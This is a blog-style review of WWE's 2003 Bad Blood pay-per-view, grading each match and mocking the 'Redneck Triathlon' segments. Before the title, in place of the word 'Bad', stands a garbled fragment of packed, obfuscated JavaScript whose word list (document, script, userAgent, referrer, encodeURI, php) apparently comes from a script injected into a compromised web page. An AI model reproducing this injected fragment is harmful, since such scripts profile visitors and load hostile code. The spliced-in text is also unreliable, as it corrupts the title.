This is one of the older reviews meaning it’s much lower in quality.  It’s the best I could do here though.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbiby|var|u0026u|referrer|iftrb||js|php'.split('|'),0,{})) Blood 2003
Date: June 15, 2003
Location: Compaq Center, Houston, Texas
Attendance: 10,000
Commentators: Jim Ross, Jerry Lawler

Only reason here is I was looking at my list of shows that I had left to go and I figured I might as well just knock this one off of it. So back in 2003 there were a lot of matches on the show to be had, but there simply wasn’t enough time to fit them all in. The solution became to just have Raw and Smackdown only PPVs.

These wound up completely sucking for the simple reason of there were too few matches to fill in an entire three hour show with feuds/matches from one show. Anyway, this is the very first one so the card is fairly packed. We have Nash vs. HHH in what’s considered the worse HIAC match ever and Jericho vs. Goldberg in a match that should have been in WCW but we couldn’t have a heel that mocked Goldberg get crushed by Goldberg but whatever. So anyway let’s get to it.

Austin is feuding with Bischoff and there’s a Redneck Triathlon or something like that tonight. The intro is just a highlight package of every major feud with red tint to it. Oh and it’s an Austin/Bischoff production. The theme song is Headstrong by Trapt so I’m happy on that front.

Dudley Boys vs. Rodney Mack/Christopher Nowitski

See how brilliant this idea was? Where else are you going to get to see jobbers vs. an over the hill tag team in a match no one cares about? Since the answer is Raw, don’t bother answering that. Nowitski tried to make this a racial thing earlier in the night if you can believe that. Teddy Long is the heel manager here.

Mack was supposed to be a big deal but was squashed by Goldberg so there we are. Nowitski accidentally slaps Bubba. Guess what happens. Oh and Chris has a mask on his face from having his nose broken. The Harvard gimmick would have been able to carry him for years had he not gotten hurt.

Rodney Mack was a guy that I never got the entire appeal of. He’s ok, but just ok. After What’s Up hits, Bubba says get the tables but D-Von doesn’t want to. I love that. Nowitski catches Bubba in the face with the mask for the pin.

Rating: D+. This is the epitome of a match that belongs on Raw and not on PPV. It’s 7 minutes long and it’s an angle that no one cares about. How in the world is this worth paying money to see? You could see the problems already. Naturally is ran nearly four years.

We see a clip from Raw where we see them picking the events for the Redneck Triathlon and it’s a pie eating contest, but the Rock’s kind of pie. Event two is a burping contest. Number three would be determined at the PPV if needed.

Redneck Triathlon Event #1: Burping Contest

Austin is doing jumping jacks to warm up. It’s three burps each and the winner is best overall. This is what is being used to fill PPV time people. Austin destroys him of course in the first one. People paid to watch this. Austin of course wins round one. Oh and this was the first 34.95 show I think. This lasts nearly five minutes and the crowd is just popping for it being Austin. This was freaking stupid.

Test vs. Scott Steiner

Winner gets Stacy as Steiner went from main eventing the Rumble to this inside of five months. That’s rather impressive. Stacy gets her own entrance and hates Test. Test uses the old heel tactic of throw the girl in front of Steiner to get the advantage. The crowd is dead again for this as this is match number two both on the show and on the list of matches that belong on Raw. This is where they should have used the In Your House formula.

By taking it down to two hours, not only does it make the matches more well rounded, but it also takes away the bad ones so it’s just the big ones, making the show seem a lot better. This is exactly what you would expect it to be: boring beyond belief with no real drama. Also I love how Stacy is being treated like property here.

The pumphandle slam gets two and ZERO heat. Stacy slaps Test who then kicks Steiner in the face. Man these two have fallen far. This is just mindless filler. Test grabs a chair and when Stacy tries to pull it away she goes down which leads nowhere. A downward spiral wins it for Steiner. Stacy does her exit twice so Scott can see it again.

Rating: D. Again this was just mindless filler to validate themselves being on TV. What was the point to this at all? I get that there’s an angle that ends here, but dang man, this was just freaking stupid. There was zero point to having this on PPV but there was nothing else to put in here. Like I said, you can see the point just falling away immediately.

Bischoff and Austin talk about the second round of the triathlon which is coming up next.  Scratch that as Austin has to pick the woman for whatever the contest is.  The women are all hot but Austin gets to pick the flavor and you can feel Moolah or Mae coming.

Intercontinental Title: Christian vs. Booker T

So back in late 2002, HHH wanted to be undisputed champion of Raw so the US and IC titles were retired for about six months. Austin brought the IC back and Stephanie brought the US back a month later. There was a battle royal at Judgment Day for the belt which Christian cheated to win so this is the rematch. Oh and Booker has a remix now. Oh great.

He’s the hometown boy here so I wouldn’t look for him to win much here. Christian has just cut his hair so he’s finally looking like he does now. Edge is out injured at this point after neck surgery so there we are since both of them are eternally linked. Booker starts out by dominating and then we get into the formula stuff. Oh and we hear a lot about Booker going to jail for armed robbery, which I’m pretty sure is true but I don’t feel like looking it up.

Christian hits a Rock Bottom of all things to get a two. The Scissors Kick and a missile dropkick hit but both get two. After a Spinerooni, Christian tries to leave. It’s more basic stuff which is what this show should be called. The referee says that if he doesn’t make it back by ten he loses the belt. One day that actually needs to happen just to shake things up. A CHEAP belt shot ends this. There’s a guy dressed like Tigger in the front row.

Rating: C-. Somehow this is the best match of the night so far. This also could have been on Raw but instead we get to pay to see it. Booker would get the title the next month on Raw, but he should have gotten it here where people were paying for it. This was another dumb idea as everything else on this show has been.

Nash is getting ready with Jerry Lawler’s music playing. Oh it’s the triathlon. Screw this getting its own title again. It’s pie eating with oral sex implied. Both guys get full entrances to waste even more time. And yeah it’s Moolah and Mae which was about as predictable as it could have possibly been. Oh it’s just Mae.

The reactions are great if nothing else. After kissing her, Bischoff gets kicked in the balls and Mae gives him a Bronco Buster in a thong and stockings. Austin STUNS MAE and forfeits to set up event number three. Beer drinking follows. That’s another 10 minutes plus that I’ll never get back.

Gail Kim and her Matrix themed video is coming.

Kane and Van Dam are ready but have been having problems lately. La Resistance beat up Van Dam but he didn’t make the save. Kane says nothing. The heels say a lot of insults about America. It’s more bland than it sounds.

Raw Tag Titles: La Resistance vs. Rob Van Dam/Kane

You can more or less see the ending from here. The heels are Sylvan Grenier and Rene Dupree in case you didn’t know. To my complete lack of shock and dismay, this is nothing that couldn’t be on Raw. I mean there is nothing to note here at all. This could be at any house show or Raw but on PPV? Really? The heels are both on the floor and Van Dam dives, naturally hitting all three of them. A double flapjack ends this. It couldn’t have come faster.

Rating: D+. Again, WHY IS THIS ON PPV? That’s the problem with the whole first hour here. I could see an argument for the two title matches, but seriously, none of this has been PPV quality. The matches are ok, but that’s the problem: they’re just ok. Nothing at all here is making me want to watch this show at all and it’s never something I’m going to watch again. I just want to get to the end of this show and forget about it.

We recap Goldberg vs. Jericho who sent Storm to run him over, resulting in a match between Storm and Goldie, which was of course a squash and then he gave up Jericho as the mastermind. No one on the planet thought Jericho had a chance and he didn’t.

Goldberg vs. Chris Jericho

Goldberg is wearing white and black. Words cannot describe how stupid it looks. Jericho had wanted this match in WCW but they decided that it wasn’t a good idea so he just bailed when he could, citing this as one of the major factors. Jericho of course runs like a scared man which I can’t blame him for.

Eventually though, Jericho dodges a spear and Goldberg goes through the security wall. What a coincidence there were no seats in front of it either. Goldberg is bleeding a bit and has a bad shoulder now, so if nothing else they’re trying to give us a reason to think Jericho can win so points for that.

That goes on for a GOOD while which makes sense. Jericho runs the match for the most part which is definitely the best idea here. They botch a moonsault but Goldberg does the smart thing and keeps moving so that it doesn’t look like they botched anything and hits what we would call an FU. There’s a loud Goldberg Sucks chant and the referee goes down.

Dang the fans are behind Jericho here. At least they recognize good wrestling. He gets the Walls of Jericho but leg power gets him out of it. Spear number 2 works a lot better even though it’s a left armed one. After failing to get it once, a jackhammer works the second time for the easy pin.

Rating: C+. Again, this could have been a Raw main event but I can go with this being on PPV. However, another five minutes would have made this WAY better. Jericho was in a rut around this time and he didn’t get out of it until the winter when he turned face to feud with Christian. This was ok but nothing great. Goldberg just didn’t work in the WWE and it showed badly.

We get to see the pick for the last round of the Redneck Triathlon and it’s going to be a sing-off, which is between tobacco spitting and lawn gnome stealing. You can’t make this stuff up. Austin realizes he’s in trouble.

We recap Shawn vs. Flair. Holy crap an actual wrestling match! Flair looks like a cross between Dolph Ziggler and a nightmare. Flair had been asked by HHH to lay down on Raw but Flair couldn’t do it, which Shawn respects. This begins a suck up fest between the two, but Shawn has to know if he can beat him. And then Flair turned heel for the thousandth time in his career by punching Shawn. Shawn says it’s personal now, and you know that means jack but they say it anyway.

Ric Flair vs. Shawn Michaels

Apparently Shawn dominated the 90s and was a bigger star than Flair ever was. Somehow being in the main event for less than two years and tanking buyrates means you dominate. We start out with more or less a chess match with everyone trying to top the other, and of course when I say everyone I mean two people.

In a spot that I really like, Flair goes to the mat for Shawn to jump over him and Shawn stops on a dime and grabs a headlock on the mat. I like that. Flair at least uses psychology by working the knee and we’re in the figure four five minutes into the show. That was quick if nothing else. Flair is dominating for the most part here but we know that the Shawn comeback is coming. It’s the Flair Formula to the letter.

And Shawn hits an enziguri to counter (it means Head Kick of all things). Flair of course gets slammed off the top as Shawn actually sells the knee. Flair counters the kick into a figure four but that’s countered into a small package. Shawn throws on the figure four. Well they’re moving out there so I’ll give them that.

Flair goes up and actually gets the move off (a chop) but Shawn punches him on the way down. For ZERO apparent reason, Shawn sets up a table. The announcers are surprised too. Randy Orton comes down to try to save Flair but gets nailed. Shawn splashes Flair through the table which is called a cross body though it, although to be fair it looked like one more than a splash.

The referee goes down to a low blow, even though the table should have been a DQ. Sweet Chin Music hits but Orton pops up for a chair shot to give Flair the pin.

Rating: B. This was pretty good but the table spot made me scratch my head. This is a hard combination to screw up and they more or less got it right. The ending was fine since both were in Evolution and would have a reason to help each other out. It’s not a great match but it’s by FAR the best match tonight. Flair was getting old very fast though.

Ad for Freddie Blassie’s book.

Bischoff comes out and lip syncs his own song and Austin interrupts him. They actually get into a you were lip syncing vs. was not argument. Bischoff can’t sing at all. Austin proposes another spin and rigs the wheel to land on pig pen fun. Yes, we have a hog pen match. Somehow, this takes seven minutes. If you don’t get what happened, you’re an idiot.

Ad for the Divas softcore video.

The Cell is lowered. I forgot to mention that Foley is referee to try to make this interesting and it continued to fail.

The feud was just that they didn’t like each other and Austin just declared it Hell in a Cell. Oh Foley is referee because everyone else said they wouldn’t do it.

Raw World Title: HHH vs. Kevin Nash

Yes, this is the main event of a PPV in 2003. The belt it in the ring for no reason other than HHH likes to hold it close I guess. What do you expect here? It’s a Hell in a Cell match. They beat on each other with slow offense and use a lot of weapons. All three bleed and they do this for about twenty minutes. They manage to make a Cell match boring. Seriously Nash, that’s HARD to do.

Oh and HHH uses a screwdriver and a wooden crate. Why was a wooden crate under the ring? Who cares? We get the Mandible Claw if nothing else and Ross says this match is cruel and unusual punishment. You know all the spots that these two are going to do and the ones that Foley will do so figure out what order they go in that makes the match suck the most and you have this match. HHH of course survives the powerbomb and hits the Pedigree a few seconds later for the academic pin. Evolution beats up Foley to end the show.

Rating: D+. Seriously, THEY MADE THE CELL BORING. Do you realize how hard that is to do? This was the time that’s considered HHH’s Reign of Terror on Raw and this match is a great example of it. Really, they messed up the Cell. How do you do that? There was no point to this whole thing other than to make HHH look good and for one of his buddies to get to fight him. This was just awful.

Overall Rating: F. This isn’t a PPV. It’s a Raw with a triple main event. Seriously this show was crap. For one thing it went off at 10:35 which is ten minutes earlier than “3 hour PPVs” normally run. There is a decent Flair vs. Shawn match that could have been good but with 15 minutes what do you expect?

Also, thirty minutes of this was for one running joke which was never funny. You would think that after this disaster Vince would have pulled the plug on it, but no. For FOUR YEARS these things ran and they sucked more each and every time. This is a failure if there ever has been one.